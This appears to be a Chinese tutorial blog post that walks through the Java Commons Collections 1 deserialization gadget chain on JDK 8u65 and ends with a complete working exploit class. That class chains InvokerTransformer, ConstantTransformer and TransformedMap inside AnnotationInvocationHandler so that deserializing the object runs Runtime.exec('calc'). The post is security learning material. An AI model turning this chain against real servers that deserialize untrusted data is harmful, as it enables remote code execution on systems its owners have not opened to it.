CC1反序列化链分析-从0手写exp
0x01反序列化原理
与php反序列化类似,在java语言中,在Java对象进行序列化时会执行writeObject方法,而在反序列化过程中执行readObject方法
所以为什么会产生安全问题?
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
- 共同条件 继承Serializable
- 入口类 source(重写readObject 调用常见函数参数类型宽泛 最好jdk自带)比如HashMap
- 调用链 gadget chain 相同名称 相同类型
- 执行类 sink(rce ssrf写文件等等)

0x02环境搭建
jdk8u71后就修复了漏洞,所以我们下载jdk8u65版本
jdk8u65
openJDK 8u65(去到这个链接点击zip)
Maven
创建maven项目,添加cc1的依赖包
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
验证环境是否导入成功
import org.apache.commons.collections.functors.InvokerTransformer;
(下载openJDK 8u65:比如sun包里面是没有源码的,看到的是反编译的代码,后缀是.class文件后面跟进的时候找不到调用,所以我们要把它的源码下下来)
将/src/share/classes路径下的sun包拷下来放入jdk8u65下src路径下,把src目录加进去,然后可以看到出现一些注解,看到.class后缀变为.java后缀

0x03利用链分析
java反序列化链逆推
假定想要执行的命令
(exp是随着链子的跟进不断改写编写)
Runtime.getRuntime().exec("calc");
InvokerTransformer.transform
类似反射,任意方法调用,且参数可控
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
接着我们想找不同名字调用transform,这样才能再往前推
快捷键:Alt + F7(Project and Libararies)


->setValue->checkSetValue->transform

value应该传runtime,valueTransformer应该传new InvokerTransformer等后面的


ps:这里的map是从外引入便于一步步理解的,后面会被我们找到的链子所替换
Runtime runtime = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
接着就是看如何能调用checkSetValue


一个键值对就是一个entry,这里的setValue实际上就是entry的setValue,它重写了这个方法
Runtime runtime = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
for (Map.Entry entry:transformedmap.entrySet()){
entry.setValue(runtime);
}
接着同样的思路,找(最好是谁的readObject里面)调用了setValue
readObject->setValue
我们正好找到了个挺符合要求的

到这里链子已经基本成型了


它的构造函数传入两个参数,一个集成注解的泛型一个map
实例化一个类尝试调用它,它不是public就是默认default类型,需要用反射获取

Runtime runtime = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedmap);
serialize(o);
unserialize("ser.bin");
但是现在的exp还存在三个问题:
- Runtime对像是我们自己生成的,由于没有继承Serializable,所以它不能序列化,需要通过反射来获取
- 需要过两个if条件,才能到setValue

- setValue要传入runtime对象,但现在看起来不可控

问题一:
最基本的反射编写
Class c1 = Runtime.class;
Method getRuntimeMethod = c1.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c1.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
用我们的InvokeTransformer来实现改写一下
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
这里可以看到这是一个transform的循环调用
这时候我们想到了这样一个ChainedTransformer方法

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
现在调用了一次transform就相当于调用了这三次
补全剩下的
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedmap);
serialize(o);
unserialize("ser.bin");
结果执行不了

可以看到这里memberType为null没有进去
问题二:
这里可以看到第434行获取它的成员方法,没有找到
接下来做的是找了map的键值对,获取其键值,接着需要成员方法的名字和这个键值相同得以获取

因此我们更改Override为Target并且更改map键值为value

可以看到成功进去了,跟进一下setValue

问题三:
现在我们需要传入setValue的value赋值Runtime.class而不是AnnotationTypeMismatchExceptionProxy
这里我们关注一下ConstantTransformer类

无论我们输入什么,它都返回自己输入的那个值,因此可以变量覆盖
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedmap);
serialize(o);
unserialize("ser.bin");
package demo1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test1 {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedmap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

cc1其实有两条,这条链子和yso里的还有点差别(后半段一样,前半段有所差别)
这几天跟了两遍,第二遍很多地方清晰了很多,也算是java入门了,完结撒花~~

浙公网安备 33010602011771号